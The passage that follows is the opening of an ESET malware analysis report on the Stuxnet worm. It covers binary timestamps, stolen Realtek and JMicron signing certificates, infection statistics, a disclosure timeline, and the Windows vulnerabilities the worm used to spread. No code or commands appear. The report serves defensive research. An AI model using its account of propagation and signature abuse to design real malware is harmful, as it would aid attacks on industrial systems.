Stuxnet Under the Microscope
Revision 1.31

Aleksandr Matrosov, Senior Virus Researcher
Eugene Rodionov, Rootkit Analyst
David Harley, Senior Research Fellow
Juraj Malcho, Head of Virus Laboratory

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Contents
1

2

3

INTRODUCTION ................................................................................................................................. 5
1.1

TARGETED ATTACKS ............................................................................................................................. 5

1.2

STUXNET VERSUS AURORA ..................................................................................................................... 7

1.3

STUXNET REVEALED............................................................................................................................ 11

1.4

STATISTICS ON THE SPREAD OF THE STUXNET WORM ................................................................................ 15

MICROSOFT, MALWARE AND THE MEDIA ....................................................................................... 17
2.1

SCADA, SIEMENS AND STUXNET .......................................................................................................... 17

2.2

STUXNET TIMELINE............................................................................................................................. 19

DISTRIBUTION ................................................................................................................................. 24
3.1

4

THE LNK EXPLOIT .............................................................................................................................. 24

3.1.1

Propagation via External Storage Devices ............................................................................... 27

3.1.2

Metasploit and WebDAV Exploit .............................................................................................. 27

3.1.3

What Do DLL Hijacking Flaws and the LNK Exploit have in Common? ..................................... 28

3.2

LNK VULNERABILITY IN STUXNET .......................................................................................................... 29

3.3

THE MS10-061 ATTACK VECTOR......................................................................................................... 31

3.4

NETWORK SHARED FOLDERS AND RPC VULNERABILITY (MS08-067) ......................................................... 34

3.5

0-DAY IN WIN32K.SYS (MS10-073) .................................................................................................... 35

3.6

MS10-092: EXPLOITING A 0-DAY IN TASK SCHEDULER ............................................................................. 40

STUXNET IMPLEMENTATION ........................................................................................................... 45
4.1

USER-MODE FUNCTIONALITY ................................................................................................................ 45

4.1.1

Overview of the main module .................................................................................................. 45

4.1.2

Injecting code ........................................................................................................................... 46

4.1.3

Injecting into a current process ................................................................................................ 47

4.1.4

Injecting into a new process ..................................................................................................... 50

4.1.5

Installation ............................................................................................................................... 50

4.1.6

Exported functions.................................................................................................................... 52

4.1.7

RPC Server ................................................................................................................................ 56

4.1.8

Resources ................................................................................................................................. 58

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4.2

KERNEL-MODE FUNCTIONALITY ............................................................................................................. 58

4.2.1

MRXCLS.sys............................................................................................................................... 60

4.2.2

MRXNET.sys .............................................................................................................................. 64

4.3

STUXNET BOT CONFIGURATION DATA .................................................................................................... 65

4.4

REMOTE COMMUNICATION PROTOCOL .................................................................................................. 66

CONCLUSION .......................................................................................................................................... 70
APPENDIX A............................................................................................................................................ 71
APPENDIX B ............................................................................................................................................ 74
APPENDIX C ............................................................................................................................................ 75
APPENDIX D ........................................................................................................................................... 82
APPENDIX E ............................................................................................................................................ 84

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PrefaceThis report is devoted to the analysis of the notorious Stuxnet worm (Win32/Stuxnet) that suddenly
attracted the attention of virus researchers this summer. This report is primarily intended to describe
targeted and semi-targeted attacks, and how they are implemented, focusing mainly on the mostrecent, namely Stuxnet. This attack is, however, compared to the Aurora attack, outlining the similarities
and differences between the two attacks.
The paper is structured as follows. In the first section we introduce the targeted attacks and theircommon characteristics and goals. In this section we present comparison of two attacks: Stuxnet vs.
Aurora. The second section contains some general information on SCADA (Supervisory Control And Data
Acquisition) systems and PLCs (Programmable Logic Controllers) as Stuxnet’s primary targets of. The
third section covers the distribution of the Stuxnet worm. Here we describe vulnerabilities that it
exploits to infect the target machine. The next section describes the implementation of Stuxnet: usermode and kernel-mode components, RPC Server and their interconnection. We also describe theremote communication protocol that it uses to communicate with the remote C&C.

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1 Introduction
This section contains information on targeted attacks and its characteristics. In particular, we discuss
two types of attacks: attacks targeting a specific company or organization, and attacks targeting specificsoftware and IT infrastructure. We do this by comparing two outstanding examples of these two speciesof attack: Aurora and Stuxnet. This chapter provides information on some intriguing facts related to
Stuxnet, such as timestamps of its binaries, and information on compiler versions which might be usefulin analysis of the malware. We end with statistics relating to Stuxnet distribution all over the world.
Recently, there has been increased public awareness and information about targeted attacks as thenumber of such attacks has significantly increased, becoming a separate cybercriminal business sector in
its own right.
Many companies are reluctant to disclose information about attempted or successful targeted attacks
for fear of public relations issues affecting their profits, so the information made available to the public
only represents a small part of what is actually happening.

1.1

Targeted Attacks

All targeted attacks can be divided into two major classes:
Targeting a specific company or organization - this type of attack is directed at a specificorganization and the aim of an intruder is unauthorized access to confidential information suchas commercial secrets (as with the Aurora attack).
Targeting specific software or IT infrastructure - this type of attack is not directed at a
specific company and its target is the data associated with a certain kind of software, forexample -banking client software or SCADA systems. Such attacks have to be implemented in amore flexible manner. This class of attacks can do much more damage to a great number ofcompanies than the attacks of the first class. As this class pre-supposes a long term attack, it isdesigned to circumvent protection systems (as with the Stuxnet attack).
The most common vector for the development of targeted external attacks is now considered to be theexploitation of vulnerabilities in popular client-side applications (browsers, plugins and so on). Attackers
typically use combinations of multiple steps, which allow them to take root on the client-side. In mostcases the first stage of the attack employs social engineering to allow an attacker to lure the victim to afavorable environment for the implementation of the next attack phase.

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Figure 1.1 – Typical Stages of Client-Side Attack

Bypassing the security software installed in certain organizations is a crucial objective for most malware.
There is a separate cybercriminal business sector devoted to providing the means for malicious software
to stay undetected by specific or widely spread antivirus products.

Figure 1.2 – Custom Malware Protector

This kind of service can extend the life of outdated malware, or extend the time new threats stayundetected. However, the use of such technologies to resist detection by antivirus software can be used
as a heuristic for the detection of previously unknown samples. But the converse case also holds true:
avoiding using any techniques aimed at bypassing antivirus software and making the program resemble
legitimate software more closely can be a way of protecting malware. This is the case with the attack
mechanism used by the Stuxnet worm.

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The Stuxnet attack constituted a serious threat to trust in software using legal digital signatures. This
creates a problem for white-listing, where security software is based on the a priori assumption that atrusted program meets certain conditions and is therefore indeed trustworthy. And what if the program
closely resembles legitimate software and even has digital certificates for installed modules published in
the name of reputable companies? All this suggests that targeted attacks could persist much longer overtime than we previously imagined. Stuxnet was able to stay undetected for a substantial period where
no one saw anything suspicious. The use of a self-launching, 0-day vulnerability in the attack allowed therapid distribution of Stuxnet in the targeted region. The choice of this kind of vulnerability is quitedeliberate, because in the absence of information about its existence, use of the exploit will not be
detected. All these facts suggest a well-planned attack which remained unnoticed until long after it was
launched. But it is precisely the existence of such threats that inspires us to look at the new vector andthe possibility of attacks that use it, in order to reduce the impact of future attacks.

1.2

Stuxnet versus Aurora

In the past year, the public has become aware of two targeted attacks, codenamed Stuxnet and Aurora.
Both of these attacks have some common features that characterize recent trends in targeted attacks.
Nowadays, the most popular vector of penetration of the user’s machine is realized through popularclient-side applications (browsers, plugins and other apps). It is much easier to steal data by launchingan indirect attack on people with access to important information via a malicious web site, than it is toattack the company’s well-protected database server directly. The use of client-side applications as avector of attack is undoubtedly expected by cautious system users and administrators, but this attack
methodology is less predictable and harder to protect against, since in everyday life we use many
applications, each of them potentially an attack vector.
The Aurora and Stuxnet attacks used 0-day exploits to install malicious programs onto the system. Table
1.2.1 presents data on the malicious programs and exploits used:

Table 1.2.1 – Malicious Software and Exploits Used to Perform Attacks

Characteristics
Exploitation vector

AuroraStuxnetMS10-002 (0-day)MS10-046 (0-day)MS10-061 (0-day)MS10-073 (0-day)MS10 -092 (0-day)
CVE-2010-2772 (0-day)MS08-067 (patched)

Targeted malicious program

Win32/Vedrio

Win32/Stuxnet

Table 1.2.2 displays the characteristics of vulnerable platform and exploits, and indicates how seriously
the intruders take their attacks.

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Table 1.2.2 – Platforms Vulnerable to 0-Day Attack Vector

Characteristics

MS10-002

MS10-046

MS10-061

MS10-073

MS10 -092

all versions of
MS Internet
Explorer (6, 7,
8)

all versions of
MS Windows(WinXP, Vista,
7, …)

all versions of
MS Windows(WinXP, Vista,
7, …)

WinXP and
Win2000

Vista and
Win7

Layered shellcode

yes

no

no

yes

no

Remote attacks

yes

yes

yes (only for
WinXP)

nono

Other vectors

no

yes

yes

no

no

Vulnerable
versions

The exploit ESET detects as JS/Exploit.CVE-2010-0249 (MS10-002) has a narrower range of possible
vectors of distribution than LNK/Exploit.CVE-2010-2568 (MS10-046). The range of vulnerabilities used in
the Stuxnet attack have other interesting features making use of such infection vectors as removable
flash drives and other USB devices, and resources shared over the network. The exploit LNK/Exploit.CVE2010-2568 is by its nature so designed that detection of the exploit’s malicious activity is impossible, if
you are not aware of its existence. If we compare the features of these two exploits, it seems that
JS/Exploit.CVE-2010-0249 is designed for a surprise attack, while in the case of LNK/Exploit.CVE-20102568 a long-term, persistent attack was intended. An additional propagation vector (MS10-061) canspread rapidly within the local network. These observations confirm the data from Table 1.2.3, which
compares the characteristics of the malicious programs used in these attacks.

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Table 1.2.3 – Comparison of attacks

Characteristics

AuroraStuxnetTargeted group of specificcompanies

Sites using SCADA systems but
promiscuous dissemination

no

yes

download in process infecting

all in one malware

Code packing

yes

yes

Code obfuscation

yes

yes

Anti-AV functionality

yes

yes

Masking under legal programs

yes

yes

Architecture of malicious
programmodularmodularEstablishing a backdoor

yes

no

Distributed C&C

yes

no

Communications protocol

https

http

Custom encryption ofcommunications protocol

yes

yes

Modules with a legal digital
signaturenoyes

Update mechanism

yes; downloads and runs thedownloaded module via
WinAPI

yes; downloads updates via
WinAPI functions and runs
them in memory, without
creating any files

Uninstall mechanism

no

yes

Infection counter

no

yes

Availability of any modifications
malicious program

no

yes

TargetMultiple distribution vectors
Payload

These two attacks have shown us that no information system is absolutely secure and carefully plannedtargeted or even semi-targeted attacks put a serious weapon into the hands of bad guys. In the case of
Stuxnet there are still a lot of open questions, in our report we try to highlight the technical componentof this semi-targeted attack. Stuxnet showed us by example how much can be conceived and achieved
using massive semi-targeted attacks.

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Why semi-targeted? While the payload is plainly focused on SCADA systems, the malware’s propagation
is promiscuous. Criminal (and nation-state funded) malware developers have generally moved awayfrom the use of self-replicating malware towards Trojans spread by other means (spammed URLs, PDFs
and Microsoft Office documents compromised with 0-day exploits, and so on). Once self-replicatingcode is released, it’s difficult to exercise complete control over where it goes, what it does, and how far
it spreads (which is one of the reasons reputable researchers have always been opposed to the use of“good” viruses and worms: for the bad guys, it also has the disadvantage that as malware becomes
more prevalent and therefore more visible, its usefulness in terms of payload delivery is depleted bypublic awareness and the wider availability of protection).
As we describe elsewhere in this document, there were probably a number of participants in the
Stuxnet development project who may have very different backgrounds. However, some of the code
looks as if it originated with a "regular" software developer with extensive knowledge of SCADA systems
and/or Siemens control systems, rather than with the criminal gangs responsible for most malcode, oreven the freelance hacker groups, sometimes thought to be funded by governments and the military,(for example Wicked Rose) we often associate with targeted attacks. However, it’s feasible that what
we’re seeing here is the work of a more formally-constituted, multi-disciplinary “tiger team”. Such
officially but unpublicized collaborations, resembling the cooperative work with other agencies thatanti-malware researchers sometimes engage in, might be more common than we are actually aware.
On the other hand, the nature of the .LNK vulnerability means that even though the mechanism isdifferent to the Autorun mechanism exploited by so much malware in recent years, its use for delivery
through USB devices, removable media, and network shares, has resulted in wide enough propagation
to prevent the malware from remaining “below the radar”. This may signify misjudgement on the part ofa development team that nevertheless succeeded in putting together a sophisticated collaborative
project, or a miscommunication at some point in the development process. On the other hand, it may
simply mean that the group was familiar enough with the modus operandi characteristic of SCADA sites
to gamble on the likelihood that Stuxnet would hit enough poorly-defended, poorly-patched and poorlyregulated PLCs to gain them the information and control they wanted. Since at the time of writing it has
been reported by various sources that some 14 or 15 SCADA sites have been directly affected by theinfection of PLCs (Programmable Logic Controllers), the latter proposition may have some validity. Whilethe use of these vectors has increased the visibility of the threat, it’s likely that it has also enabled accessto sites where “air-gapped” generic defences were prioritized over automated technical defences likeanti-virus, and less automated system updating and patching. This is not a minor consideration, since
the withdrawal of support from Windows versions earlier than Windows XP SP3. At the same time, it’s
clear that there are difficulties for some sites where protective measures may involve taking criticalsystems offline. While there are obvious concerns here concerning SPoFs (single points of failure), thepotential problems associated with fixing such issues retrospectively should not be underestimated.

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1.3

Stuxnet Revealed

During our research, we have been constantly finding evidence confirming that the Stuxnet attack was
carefully prepared. Timestamp in the file ~wtr4141.tmp indicates that the date of compilation was
03/02/2010.

Figure 1.3 – Header Information from ~wtr4141.tmp

Version 9.0 of the linker indicated that attackers used MS Visual Studio 2008 for developing Stuxnet's
components. File ~wtr4141.tmp is digitally signed, and the timestamp indicates that the signature on
the date of signing coincides with the time of compilation.

Figure 1.4 – Digital Signature Information from ~wtr4141.tmp

Examination of the driver is even more interesting, since the timestamp of MRXCLS.sys indicates that itwas compiled on 01/01/2009. An 8.0 version of the linker used to build it suggests that MS Visual Studio2005 was for development. Using different versions of the linker may indicate as well that this project
was developed by a group of people with a clear division of responsibilities.

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Figure 1.5 – Header information from MRXCLS.sys

The digital signature shows a later date 25/01/2010, indicating that this module, was available very earlyon, or was borrowed from another project.

Figure 1.6 – Digital Signature Information from MRXCLS.sys

The second driver was built later and a timestamp of compilation shows 25/01/2010, coinciding with thedate of signature of the driver MRXCLS.sys. The same linker version was used and maybe these two
drivers were created by one and the same person.

Figure 1.7 – Header Information from MRXNET.sys

The timestamp signature also coincides, and it all seems to point to the date of release for thiscomponent.

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Figure 1.8 – Digital Signature Information from MRXNET.sys

On July 17th, ESET identified a new driver named jmidebs.sys, compiled on July 14th 2010, and signedwith a certificate from a company called "JMicron Technology Corp". This is different from the previous
drivers which were signed with the certificate from Realtek Semiconductor Corp. It is interesting to notethat both companies whose code signing certificates were used have offices in Hsinchu Science Park,
Taiwan. The physical proximity of the two companies may suggest physical theft, but it's also beensuggested that the certificates may have been bought from another source. For instance, the Zeus
botnet is known to steal certificates, though it probably focuses on banking certificates. (As Randy
Abrams pointed out: http://blog.eset.com/2010/07/22/why-steal-digital-certificates)
The file jmidebs.sys functions in much the same way as the earlier system drivers, injecting code into
processes running on an infected machine. As Pierre-Marc Bureau pointed out in a blog at the time, it
wasn't clear whether the attackers changed their certificate because the first one was exposed, or were
simply using different certificates for different attacks. Either way, they obviously have significant
resources to draw on. The well-planned modular architecture that characterizes the Stuxnet malware,and the large number of modules used, suggests the involvement of a fairly large and well-organizedgroup. (See: http://blog.eset.com/2010/07/19/win32stuxnet-signed-binaries).

Figure 1.9 – Certificate Issued to JMicron Technology Corporation

Another interesting finding was the string b:\myrtus\src\objfre_w2k_x86\i386\guava.pdb found in the
resource section.

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Figure 1.10 – Interesting String in MRXNET.sys

The number of modules included in Stuxnet and the bulkiness of the developed code indicate that thismalicious program was developed by a large group of people. Stuxnet is a more mature andtechnologically advanced (semi-)targeted attack than Aurora.

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1.4

Statistics on the Spread of the Stuxnet Worm

The statistical distribution of infected machines Win32/Stuxnet globally, from the beginning of thedetection to the end of September, is presented in the figure below:

Figure 1.11 – Global infection by Win32/Stuxnet (Top 14 Countries)

Asian countries are the leaders with the largest number of Stuxnet-infected machines by. Iran is theregion where the widest spread Stuxnet has been seen. If we look at the percentage distribution of thenumber of infections by region, we can generate the following table:
Table 1.4.1 – The Percentage Distribution of Infections by Region

IranIndonesia

India

PakistanUzbekistan

RussiaKazakhstan

Belarus

52,2%

17,4%

11,3%

3,6%

2,6%

2,1%

1,3%

1,1%

Kyrgyzstan

Azerbaijan

UnitedStatesCuba

Tajikistan

Afghanistan

Rest of the world

1,0%

0,7%

0,6%

0,6%

0,5%

0,3%

4,6%

A high volume of detections in a single region may mean that it is the major target of attackers.
However, multiple targets may exist, and the promiscuous nature of the infective mechanism is likely totargeting detail. In fact, even known infection of a SCADA site isn’t incontrovertible evidence that thesite was specifically targeted. It has been suggested that malware could have been spread via flash
drives distributed at a SCADA conference or event (as Randy Abrams pointed out in a blog at
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http://blog.eset.com/2010/07/19/which-army-attacked-the-power-grids. Even that would argue
targeting of the sector rather than individual sites, and that targeting is obvious from the payload.
Distribution, however, is influenced by a number of factors apart from targeting, such as local
availability of security software and adherence to good update/patching practice. Furthermore, ourstatistics show that the distribution of infections from the earliest days of detection shows a steep
decline even in heavily-affected Iran in the days following the initial discovery of the attack, followed bya more gradual decline over subsequent months.
However, the sparse information we have about actual infection of SCADA sites using (and affecting)Siemens software suggests that about a third of the sites affected are in the German process industry
sector. Siemens have not reported finding any active instances of the worm: in other words, it haschecked out PLCs at these sites, but it hasn’t attempted to manipulate them. Heise observes that:“The worm seems to look for specific types of systems to manipulate. Siemens couldn't provide
any details about which systems precisely are or could be affected.”(http://www.h-online.com/security/news/item/Stuxnet-also-found-at-industrial-plants-in-Germany1081469.html)
Comprehensive analysis of how Stuxnet behaves when it hits a vulnerable installation was published by
Ralph Langner, ahead of the ACS conference in Rockville in September 2010.
However, the Langner analysis is contradicted in some crucial respects by analysis from other sources(http://www.symantec.com/connect/blogs/exploring-stuxnet-s-plc-infection-process). There was also
some fascinating conjecture on display in an interview with Joe Weiss.
(http://www.pbs.org/wgbh/pages/frontline/shows/cyberwar/interviews/weiss.html)
Joe (Joseph) Weiss is, incidentally, the author of “Protecting Industrial Control Systems from Electronic
Threats”, ISBN: 978-1-60650-197-9, which sounds well worth investigating for a closer look at industrial
control systems (ICS) and security. The Amazon page http://www.amazon.com/Protecting-IndustrialControl-Systems-Electronic/dp/1606501976 includes pointers to some other books on related topics aswell as some very positive commentary on Joe’s book.

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2

Microsoft, Malware and the MediaThis section contains information on events that have taken place since the original outbreak of the
Stuxnet malware. While a full-scale account of the media coverage around these events would be a long
document in its own right, we present here a partial timeline which puts some of the most significant
events in chronological order, ranging from initial detection on 17th of June until the date of release ofthis Revision. This section also contains a table (Table 2.2.1) that details posts on Stuxnet in ESET’s blog.
A number of other links are also given non-chronologically so that the reader can track other resources
covering various topics related to Stuxnet.
While Stuxnet exploits several Windows vulnerabilities, at least four of them described as 0-day:MS08-067 RPC Exploit (http://www.microsoft.com/technet/security/bulletin/ms10067.mspx)
MS10-046 LNK Exploit (http://www.microsoft.com/technet/security/bulletin/ms10046.mspx)
MS10-061 Spool Server Exploit(http://www.microsoft.com/technet/security/bulletin/ms10-061.mspx)
Two privilege escalation (or Elevation of Privilege) vulnerabilities:oMS10-073 Win32k.sys Exploit(http://www.microsoft.com/technet/security/bulletin/ms10-073.mspx)oMS10-092 Task Scheduler Exploit(http://www.microsoft.com/technet/security/bulletin/ms10-092.mspx)

However, it also targets PLCs (Programming Logic Controllers) on sites using Siemens SIMATIC WinCC or
STEP 7 SCADA (Supervisory Control And Data Acquisition) systems.

2.1

SCADA, Siemens and Stuxnet

This attack makes additional use of a further vulnerability categorized as CVE-2010-2772, relating to theuse of a hard-coded password in those systems allowing a local user to access a back-end database andgain privileged access to the system. This meant not only that the password was exposed to an attacker
through reverse engineering, but, in this case, that the system would not continue to work if thepassword was changed, though that issue was not mentioned in Siemens’ advice to its customers at
http://support.automation.siemens.com/WW/view/en/43876783. Industrial Controls Engineer Jake
Brodsky made some very pertinent comments in response to David Harley’s blog at
http://blog.eset.com/2010/07/20/theres-passwording-and-theres-security.
While agreeing that strategically, Siemens were misguided to keep hardcoding the same access accountand password into the products in question, and naive in expecting those details to stay secret, Jake
pointed out, perfectly reasonably, that tactically, it would be impractical for many sites to takeappropriate remedial measures without a great deal of preparation, recognizing that a critical system
can’t be taken down without implementing interim maintenance measures. He suggested, therefore,
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18that isolation of affected systems from the network was likely to be a better short-term measure,combined with the interim measures suggested by Microsoft for working around the .LNK and .PIF
issues that were causing concern at the time (http://support.microsoft.com/kb/2286198).

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2.2

Stuxnet Timeline

VirusBlokAda reportedly detected Stuxnet components as Trojan-Spy.0485 and MalwareCryptor.Win32.Inject.gen on 17th June 2010 (http://www.anti-virus.by/en/tempo.shtml), and also
described the .LNK vulnerability on which most of the subsequent attention was focused. However, it
seems that Microsoft, like most of the security industry, only became aware (or publicly acknowledged)
the problem in July. (See: http://blogs.technet.com/b/msrc/archive/2010/09/13/september-2010security-bulletin-release.aspx)
Realtek Semiconductor were notified of the theft of their digital signature keys on 24th June 2010.
(http://www.f-secure.com/weblog/archives/new_rootkit_en.pdf).
ESET was already detecting some components of the attack generically early in July 2010, but themagnitude of the problem only started to become obvious later that month. Siemens don’t seem tohave been notified (or at any rate acknowledged receipt of notification) until 14th July 2010.
http://www.sea.siemens.com/us/News/Industrial/Pages/WinCC_Update.aspx.sea.siemens.com/us/New
s/Industrial/Pages/WinCC_Update.aspx. On the same day, another driver was compiled as subsequently
revealed by ESET analysis and reported on 19th July: http://blog.eset.com/2010/07/19/win32stuxnetsigned-binaries
On the 15th July, Brian Krebs was, as usual, ahead of the pack at
http://krebsonsecurity.com/2010/07/experts-warn-of-new-windows-shortcut-flaw/ in pointing out that
there was a control systems issue. Advisories were posted by US-CERT and ICS-CERT(http://www.kb.cert.org/vuls/id/940193; http://www.us-cert.gov/control_systems/pdf/ICSA-10-20101%20-%20USB%20Malware%20Targeting%20Siemens%20Control%20Software.pdf.)
A Microsoft advisory was posted on 16th July
(http://www.microsoft.com/technet/security/advisory/2286198.mspx), supplemented by a Technet
blog (http://blogs.technet.com/b/mmpc/archive/2010/07/16/the-stuxnet-sting.aspx). The Internet
Storm Center also commented: http://isc.sans.edu/diary.html?storyid=9181. See also MITRE Common
Vulnerabilities and Exposures (CVE) #CVE-2010-2568 http://www.cve.mitre.org/cgibin/cvename.cgi?name=CVE-2010-2568
Microsoft Security Advisory #2286198 Workaround: http://support.microsoft.com/kb/2286198;
http://go.microsoft.com/?linkid=9738980; http://go.microsoft.com/?linkid=9738981;
http://www.microsoft.com/technet/security/advisory/2286198.mspx
On the 17th July, the Verisign certificate assigned to Realtek Semiconductor was revoked(http://threatpost.com/en_us/blogs/verisign-revokes-certificate-used-sign-stuxnet-malware-071710).
However, the second driver, now using a JMicron certificate was identified:
http://blog.eset.com/2010/07/19/win32stuxnet-signed-binaries. The first of a comprehensive series of
ESET blogs was posted.

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Table 2.2.1 – Stuxnet-Related Blogs by ESET

Date

ArticleJuly 17(Windows) Shellshocked, Or Why Win32/Stuxnet Sux…

July 19

Win32/Stuxnet Signed Binaries

July 19

Yet more on Win32/Stuxnet

July 19

It Wasn’t an Army

July 20

There’s Passwording and there’s Security

July 22

A few facts about Win32/Stuxnet & CVE-2010-2568

July 22

Why Steal Digital Certificates?

July 22

New malicious LNKs: here we go…

July 22

Win32/Stuxnet: more news and resources

July 23

Link Exploits and the Search for a Better Explorer

July 27

More LNK exploiting malware, by Jove!*August 2

Save Your Work! Microsoft Releases Critical Security
Patch

August 4

Assessing Intent

August 25

21st Century Hunter-Killer UAV Enters Restricted DC
Airspace – Skynet Alive?

September 10

New Papers and Articles

September 27

Iran Admits Stuxnet Infected Its Nuclear Power Plant

September 28th

Yet more Stuxnet

September 30th

From sci-fi to Stuxnet: exploding gas pipelines and theFarewell Dossier

September 30th

Who Wants a Cyberwar?

October 13th

Stuxnet the Inscrutable

October 13th

A Little Light Reading

October 14th

Stuxnet: Cyberwarfare’s Universal Adaptor?

October 15th

Stuxnet Paper Revision

October 15th

Stuxnet Vulnerabilities for the Non-Geek

October 15th

Win32k.sys: A Patched Stuxnet Exploit

October 20th

Stuxnet Under the Microscope: Revision 1.11

November 2nd

Stuxnet Paper Updated

November 12th

October ThreatSense Report

November 13th

Stuxnet Unravelled…

November 19th

Stuxnet Splits the Atomwww.eset.com

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November 25th

Stuxnet Code: Chicken Licken or Chicken Run?

December 15th

MS10-092 and Stuxnet

On the 19th SANS posted an advisory regarding the .LNK vulnerability(http://isc.sans.edu/diary.html?storyid=9190), and on the 19th and 20th July Siemens updated its posts:
http://www.sea.siemens.com/us/News/Industrial/Pages/WinCC_Update.aspx
ESET labs were now seeing low-grade Autorun worms, written in Visual Basic, experimenting with the.LNK vulnerability, and had added generic detection of the exploit (LNK/Exploit.CVE-2010-2568). Most
AV companies had Stuxnet-specific detection by now, of course. Some of the malware using the same
vulnerability that appeared around that time was described by David Harley in a Virus Bulletin article,“Chim Chymine: a Lucky Sweep?” published in September 2010.
The Internet Storm Center raised its Infocon level to yellow in order to raise awareness of the issue(http://isc.sans.edu/diary.html?storyid=9190). Softpedia and Computerworld, among others, noted the
publication of exploit code using the .LNK vulnerability.
Wired magazine reported that it was well-known that some Siemens products made use of hard-coded
passwords, as described above: http://www.wired.com/threatlevel/tag/siemens/
Siemens has made quite a few advisories available, but has not really addressed the hard-coded
password issue directly, and some pages appear to have been withdrawn at the time of writing. The
following pages were still available:
http://support.automation.siemens.com/WW/llisapi.dll?func=cslib.csinfo&lang=en&obji
d=43876783&caller=view
http://support.automation.siemens.com/WW/llisapi.dll?func=cslib.csinfo&objId=43876
783&objAction=csOpen&nodeid0=10805449&lang=en&siteid=cseus&aktprim=0&extranet=stan
dard&viewreg=WW
A number of new malware families were identified using same vulnerability in late July, and a number ofother families such as Win32/Sality generated new variants that also used it.
Win32/TrojanDownloader.Chymine.A downloads Win32/Spy.Agent.NSO keylogger;
Win32/Autorun.VB.RP, and is similar to malware described by ISC on 21st July
(http://isc.sans.edu/diary.html?storyid=9229 ), but updated to include the CVE-2010-2568 exploit for
propagation.
Pierre-Marc Bureau and David Harley blogged on the subject at http://blog.eset.com/2010/07/22/newmalicious-lnks-here-we-go, and Harley explored the issues further in “Shortcuts to Insecurity: .LNK
Exploits” at http://securityweek.com/shortcuts-insecurity-lnk-exploits, and “Chim Chymine: a lucky
sweep?” in the September issue of Virus Bulletin.
Aryeh Goretsky’s blog at http://blog.eset.com/2010/08/02/save-your-work-microsoft-releases-criticalsecurity-patch comments on the Microsoft patch which finally appeared at the beginning of August: see
http://www.microsoft.com/technet/security/bulletin/MS10-046.mspx.

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Further Microsoft issues were addressed in September, as described in this document. See also
http://www.scmagazineuk.com/microsoft-plugs-stuxnet-problems-as-nine-bulletins-are-released-onpatch-tuesday/article/178911/?DCMP=EMC-SCUK_Newswire.
Microsoft released a security update to address the Print Spooler Service vulnerability used by Stuxnet.
The vulnerability only exists where a printer is shared, which is not a default.
http://blogs.technet.com/b/msrc/;
http://www.microsoft.com/technet/security/bulletin/ms10-061.mspx;

http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spoolervulnerability.aspx.
Further fixes promised for two Elevation of Privilege vulnerabilities.
Ralph Langner’s analysis of how Stuxnet affects a vulnerable installation was further discussed at the
ACS conference in September 2010, but AV industry analysis did not fully concur.
http://www.langner.com/en/index.htm;
http://realtimeacs.com/?page_id=65;
http://realtimeacs.com/?page_id=66;
http://www.symantec.com/connect/blogs/exploring-stuxnet-s-plc-infection-process.
Related last-minute presentations at Virus Bulletin 2010:
http://www.virusbtn.com/conference/vb2010/programme/index
http://www.symantec.com/connect/blogs/w32stuxnet-dossier,
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitep
apers/w32_stuxnet_dossier.pdf,
http://www.virusbtn.com/pdf/conference_slides/2010/Raiu-VB2010.pdf
http://www.virusbtn.com/pdf/conference_slides/2010/OMurchu-VB2010.pdf.
Much of the earlier controversy about the origin and targeting of Stuxnet derived from uncertainty
about exactly what its code was meant to do. Even after it was established that it was intended tomodify PLC (Programmable Logic Controller) code, details of the kind of installation targeted remained
unclear.
However, research into this aspect of the Stuxnet code by Symantec et al, blogged by Eric Chien at
http://www.symantec.com/connect/blogs/stuxnet-breakthrough, told us that "Stuxnet requires theindustrial control system to have frequency converter drives from at least one of two specific vendors,
one headquartered in Finland and the other in Tehran, Iran. This is in addition to the previous
requirements we discussed of a S7-300 CPU and a CP-342-5 Profibus communications module." He goeson to describe in some detail the workings of the relevant Stuxnet code. Symantec's hefty Stuxnet
dossier was updated accordingly.
This didn’t put a complete end to the speculation, of course. In fact, some of the speculation actually
grew wilder. Most notably, Sky News, tired of mere factual reporting and even half-informed
speculation, took off for planet Fantasy, where it discovered that the Sky really is falling, claiming thatthe “super virus” is being traded on the black market and “could be used by terrorists”. That, we
suppose, would be the bad guys as opposed to the saintly individuals who originally put Stuxnet
together, very possibly to attack nuclear facilities.
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Our view is that, given the amount of detailed analysis that’s already available, anyone with malicious
intent and a smidgen of technical skill would not need the original code.
There is certainly substantial evidence suggesting that equipment used for uranium enrichment in
nuclear facilities, perhaps in Iran, was the original target. However, Will Gilpin, apparently an IT security
consultant to the UK government, suggested that possession of “the virus” in whatever form has
alarming potential:“You could shut down the police 999 system.
“You could shut down hospital systems and equipment.”“You could shut down power stations, you could shut down the transport network across theUnited Kingdom.”
These assertions clearly owed little to the PLC code actually discussed in the competent analyses above.
While it might be possible to do all these things, that would require extensive re-engineering of theexisting code and possibly a completely new set of 0-days.
While it’s by no means all-inclusive, the timeline at http://www.infracritical.com/papers/stuxnettimeline.txt is pretty comprehensive.
The Langner team at http://www.langner.com/en/2010/12/31/year-end-roundup/ finished the year
2010 with a blog summarizing the “up-to-date bottom line” on their view of Stuxnet. Of course, they
had published a steady stream of interesting and relevant blogs at http://www.langner.com/en/blog/
before that, some of which have been listed in this document.
As of version 1.31 of this document, we will not be publishing further revisions except to correct errors
or to introduce substantial new or modified material. We will, however, be adding links from time totime to the ESET blog entry at http://blog.eset.com/?p=5731.

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3

Distribution

In this section we present information about the ways in which Stuxnet self-propagates. We pay close
attention to the vulnerabilities used by the worm to propagate itself and describe it in details in thissection. The reader can find comprehensive information here on the LNK vulnerability and its
implementation in Stuxnet as well as on the MS10-061 vulnerability in the Windows Spooler, both ofwhich are used to deliver and execute the malware’s binaries on a remote machine. We also describe
vulnerabilities in win32k.sys driver and Windows Task Scheduler Service implementation used to elevate
Stuxnet’s privileges up to SYSTEM level.
There are four ways the rootkit can distribute itself: by means of flash drives, through network shares,
through an RPC vulnerability and through the recently patched MS10-061 Print Spooler vulnerability.
The figure below depicts the vulnerabilities used for propagation and installation.

Figure 3.1 – Stuxnet Propagation and Installation Vectors

3.1

The LNK exploit

Microsoft Security Advisory (2286198) CVE-2010-2568 includes links to detailed information about this
exploit. http://www.microsoft.com/technet/security/advisory/2286198.mspx. ESET allocated a separate
detection family LNK/Autostart for the detection of attacks using this vulnerability. This vulnerability

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was known to be in the wild for over a month even after it was identified before Microsoft were able torelease a patch for it in late August 2010, as described in the following bulletin:
http://www.microsoft.com/technet/security/bulletin/MS10-046.mspx.
The vulnerability is not based on a standard means of exploitation, where you would expect to need toprepare exploit with shellcode, which would make use of the vulnerability. In fact any .LNK file can
exploit it, at exploitation CVE-2010-2568 is used feature .LNK files, when displayed in windows explorer
